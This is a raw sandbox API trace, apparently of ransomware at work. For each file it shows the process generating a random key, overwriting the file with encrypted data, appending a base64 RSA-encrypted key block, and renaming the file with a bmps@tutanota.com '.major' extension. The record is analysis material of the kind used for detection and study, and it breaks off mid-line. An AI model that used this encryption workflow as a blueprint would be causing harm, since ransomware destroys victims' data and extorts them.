RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0111.240] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0111.240] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\SetupEngine.dll", dwFileAttributes=0x80) returned 1 [0111.241] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be370 [0111.241] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0111.241] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be370 | out: hHeap=0x570000) returned 1 [0111.241] CreateFileW (lpFileName="\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0111.241] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=807256) returned 1 [0111.241] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc5158) returned 0x2f4f020 [0111.243] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc5158) returned 0x302f020 [0111.244] ReadFile (in: hFile=0x454, lpBuffer=0x2f4f020, nNumberOfBytesToRead=0xc5158, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f4f020*, lpNumberOfBytesRead=0x2e3f9b4*=0xc5158, lpOverlapped=0x0) returned 1 [0111.270] SetFilePointer (in: hFile=0x454, lDistanceToMove=-807256, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.270] WriteFile (in: hFile=0x454, lpBuffer=0x302f020*, nNumberOfBytesToWrite=0xc5158, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x302f020*, lpNumberOfBytesWritten=0x2e3f9b4*=0xc5158, lpOverlapped=0x0) returned 1 [0111.273] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f4f020 | out: hHeap=0x570000) returned 1 [0111.276] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x302f020 | out: hHeap=0x570000) returned 1 [0111.276] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xc5158 [0111.276] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0111.276] WriteFile (in: hFile=0x454, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0111.276] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0111.276] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0111.277] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0111.277] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b83d0 [0111.277] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b83d0, pcchString=0x2e3f9a8 | out: pszString="T3a55voYu+HJ53AjNgsVgxlXuDGwhUYTj3oDngq5GoRKM3iS+IPiTQSW//wjSZZa\n7RhKi8MJZ8L0KwdAseJEtv0OqsGJ+U29OAs7uWI3TqurWYOpn94w5eUn8PklJKi3\nnYfgr39Lr7K8q2WOKklUGQ9pSEaN1UnUr8wF60PdcbXoqtkyCqHyWAOnN5ia/Qou\nFlYj25+vAN6ERTI7tY39ohBzPAbo8vEQfKma6P3HEr6kRxvvlSkHAFFVa9LGzWbK\nI5NYJHlOK4pJ02HHeTUFWs5eFbf5hL7OJowQf612FZzfeQFt7M5FQ3RLqbwDY+Uh\nSlyr/HniGfy1OITzV7SLCQ==\n", pcchString=0x2e3f9a8) returned 1 [0111.277] WriteFile (in: hFile=0x454, lpBuffer=0x5b83d0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b83d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0111.277] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0111.277] WriteFile (in: hFile=0x454, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0111.278] CloseHandle (hObject=0x454) returned 1 [0111.289] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b83d0 | out: hHeap=0x570000) returned 1 [0111.289] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), lpNewFileName="\\588bce7c90097ed212\\SetupEngine.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0111.452] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0111.452] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0111.452] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be840 | out: hHeap=0x570000) returned 1 [0111.452] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be4d0 | out: hHeap=0x570000) returned 1 [0111.452] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7b58 [0111.452] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb98 [0111.452] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0111.452] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Setup.exe", dwFileAttributes=0x80) returned 1 [0111.452] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7f00 [0111.452] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0111.452] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7f00 | out: hHeap=0x570000) returned 1 [0111.452] CreateFileW (lpFileName="\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0111.452] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=78152) returned 1 [0111.452] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x13148) returned 0x2e40048 [0111.453] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x13148) returned 0x2e53198 [0111.453] ReadFile (in: hFile=0x454, lpBuffer=0x2e40048, nNumberOfBytesToRead=0x13148, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40048*, lpNumberOfBytesRead=0x2e3f9b4*=0x13148, lpOverlapped=0x0) returned 1 [0111.517] SetFilePointer (in: hFile=0x454, lDistanceToMove=-78152, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.517] WriteFile (in: hFile=0x454, lpBuffer=0x2e53198*, nNumberOfBytesToWrite=0x13148, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e53198*, lpNumberOfBytesWritten=0x2e3f9b4*=0x13148, lpOverlapped=0x0) returned 1 [0111.518] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40048 | out: hHeap=0x570000) returned 1 [0111.519] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e53198 | out: hHeap=0x570000) returned 1 [0111.520] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x13148 [0111.520] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0111.520] WriteFile (in: hFile=0x454, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0111.521] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0111.521] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0111.522] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0111.522] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b83d0 [0111.522] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b83d0, pcchString=0x2e3f9a8 | out: pszString="4zqq1ik+oCM9kHl39HITTxelDCn0HulwgDS+MhYdiUS/EVGFDm3eSzqTzDHwbXuV\nvFcQVlp1IUBB9bKRD0jgTTTGkUj4mOFoCUFW//zBOFwpj9e50eQdC38nCY0fJ/yx\n89+KA+Rgl+IUZOWGn09cLP18b74UEVZ5CIAnYIHOOnVp0CRQjHbtKM1hUXiS0N5+\n0mLbEgnP22km3ajqYl3evyJso8JBAtAxdFwIzJoACdRLuWMHO5ac8UaB4SA5vKGx\nS/8bd+SQSwiyjIgrocId4Ovp+vmh75eykj/if0fTLhN4LeVSGQG1xX2PAQSS/pe9\n4d4eF0BrLoQkUV0+ZjhydQ==\n", pcchString=0x2e3f9a8) returned 1 [0111.522] WriteFile (in: hFile=0x454, lpBuffer=0x5b83d0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b83d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0111.522] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0111.522] WriteFile (in: hFile=0x454, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0111.522] CloseHandle (hObject=0x454) returned 1 [0111.524] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b83d0 | out: hHeap=0x570000) returned 1 [0111.524] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), lpNewFileName="\\588bce7c90097ed212\\Setup.exe.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\setup.exe.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0111.526] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0111.526] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0111.526] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x570000) returned 1 [0111.526] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7f48 | out: hHeap=0x570000) returned 1 [0111.526] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be4d0 [0111.526] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0111.526] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0111.526] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\RGB9Rast_x86.msi", dwFileAttributes=0x80) returned 1 [0111.527] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be7e8 [0111.527] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0111.527] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be7e8 | out: hHeap=0x570000) returned 1 [0111.527] CreateFileW (lpFileName="\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0111.527] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=94720) returned 1 [0111.527] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17200) returned 0x2e40048 [0111.527] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17200) returned 0x2e57250 [0111.527] ReadFile (in: hFile=0x454, lpBuffer=0x2e40048, nNumberOfBytesToRead=0x17200, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40048*, lpNumberOfBytesRead=0x2e3f9b4*=0x17200, lpOverlapped=0x0) returned 1 [0111.563] SetFilePointer (in: hFile=0x454, lDistanceToMove=-94720, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.563] WriteFile (in: hFile=0x454, lpBuffer=0x2e57250*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e57250*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17200, lpOverlapped=0x0) returned 1 [0111.563] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40048 | out: hHeap=0x570000) returned 1 [0111.564] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e57250 | out: hHeap=0x570000) returned 1 [0111.566] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x17200 [0111.566] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0111.566] WriteFile (in: hFile=0x454, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0111.566] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0111.566] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0111.567] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0111.567] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b83d0 [0111.567] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b83d0, pcchString=0x2e3f9a8 | out: pszString="XT1WaJ5yLTbnhN3o7Cs47Q0DUYYKhMxfqvw8Y75nrJp9KOvwHBVZQvq0jj3nCSLW\n14BXxpx0V5HMvyKVUlMHUz6WOLKCNYfniqXO/nXqZ/rZJJZ+K2/wg7p58LUdRsQ0\nr1L/XEFeeRgDhiOwOHifIh/7SK9jH/ltRdeUlmGtsvkSS73IgN/TSy6V+yy+mOBv\n1d3EI3U8hzalLbYqQW8hX8cW6b8VOc1HBgSUmxIS4YS7X5/gK1j75e0WpqnnMgFq\npYXuCp4bUiFmKZM+BgKUr3sMLn+92D0g5xBz+dWV0VUcrf5aUgbBZ1QjlYHrbiWX\nUEd5k/S4J8uhNm1dRh7vMg==\n", pcchString=0x2e3f9a8) returned 1 [0111.567] WriteFile (in: hFile=0x454, lpBuffer=0x5b83d0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b83d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0111.567] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0111.567] WriteFile (in: hFile=0x454, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0111.567] CloseHandle (hObject=0x454) returned 1 [0111.569] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b83d0 | out: hHeap=0x570000) returned 1 [0111.569] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), lpNewFileName="\\588bce7c90097ed212\\RGB9Rast_x86.msi.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0111.571] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0111.571] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0111.571] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be4d0 | out: hHeap=0x570000) returned 1 [0111.571] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be478 | out: hHeap=0x570000) returned 1 [0111.571] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be318 [0111.571] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb98 [0111.571] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0111.571] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\RGB9RAST_x64.msi", dwFileAttributes=0x80) returned 1 [0111.571] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bebb0 [0111.571] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0111.571] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bebb0 | out: hHeap=0x570000) returned 1 [0111.571] CreateFileW (lpFileName="\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0111.572] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=184832) returned 1 [0111.572] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2d200) returned 0x2e40048 [0111.572] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2d200) returned 0x5cdfe8 [0111.573] ReadFile (in: hFile=0x454, lpBuffer=0x2e40048, nNumberOfBytesToRead=0x2d200, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40048*, lpNumberOfBytesRead=0x2e3f9b4*=0x2d200, lpOverlapped=0x0) returned 1 [0111.702] SetFilePointer (in: hFile=0x454, lDistanceToMove=-184832, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.702] WriteFile (in: hFile=0x454, lpBuffer=0x5cdfe8*, nNumberOfBytesToWrite=0x2d200, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5cdfe8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2d200, lpOverlapped=0x0) returned 1 [0111.703] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40048 | out: hHeap=0x570000) returned 1 [0111.705] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdfe8 | out: hHeap=0x570000) returned 1 [0111.705] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2d200 [0111.705] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0111.705] WriteFile (in: hFile=0x454, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0111.705] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0111.705] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0111.708] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0111.708] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b83d0 [0111.708] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b83d0, pcchString=0x2e3f9a8 | out: pszString="iKT1e/fnJNZ4MCh4vSY09/vdNxqMr/t9rYCbaBG0WQklSjkTrxVXDcZmeVL66Tr+\nwo0R6MJfDrgo/SlmKsTNMkAT/Jr+O6B2cacdQ5PWYIl0n2hnqXoq4BBjafk3YZfb\nipiJPXVI+w5fSEjH39t97ZIGD2VusjkL/zml7GQdHf6GckXitSEP8MRIwaBzSEvm\nsC+TiEvl+XvWXHAv4bTOZ25rfcLbHixaxEE0zY2/lGZe5KuE8vyhukRRFln2Vkem\nKTzeFkfj3Slx9/Gkoo73iCNd8CXS34V2a1834geGaH5onUMnZgDNbPGgGpezuavv\njLcxzogu8+IpI/u51qFWGA==\n", pcchString=0x2e3f9a8) returned 1 [0111.708] WriteFile (in: hFile=0x454, lpBuffer=0x5b83d0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b83d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0111.708] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0111.708] WriteFile (in: hFile=0x454, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0111.709] CloseHandle (hObject=0x454) returned 1 [0111.711] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b83d0 | out: hHeap=0x570000) returned 1 [0111.712] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), lpNewFileName="\\588bce7c90097ed212\\RGB9RAST_x64.msi.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0111.713] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0111.713] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0111.713] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be318 | out: hHeap=0x570000) returned 1 [0111.713] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0111.713] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beec8 [0111.713] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0111.713] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0111.713] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\ParameterInfo.xml", dwFileAttributes=0x80) returned 1 [0111.714] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be790 [0111.714] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0111.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be790 | out: hHeap=0x570000) returned 1 [0111.714] CreateFileW (lpFileName="\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0111.714] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=272046) returned 1 [0111.714] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x426ae) returned 0x2e40048 [0111.715] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x426ae) returned 0x5cdfe8 [0111.716] ReadFile (in: hFile=0x454, lpBuffer=0x2e40048, nNumberOfBytesToRead=0x426ae, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40048*, lpNumberOfBytesRead=0x2e3f9b4*=0x426ae, lpOverlapped=0x0) returned 1 [0111.789] SetFilePointer (in: hFile=0x454, lDistanceToMove=-272046, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.790] WriteFile (in: hFile=0x454, lpBuffer=0x5cdfe8*, nNumberOfBytesToWrite=0x426ae, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5cdfe8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x426ae, lpOverlapped=0x0) returned 1 [0111.791] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40048 | out: hHeap=0x570000) returned 1 [0111.791] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdfe8 | out: hHeap=0x570000) returned 1 [0111.791] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: 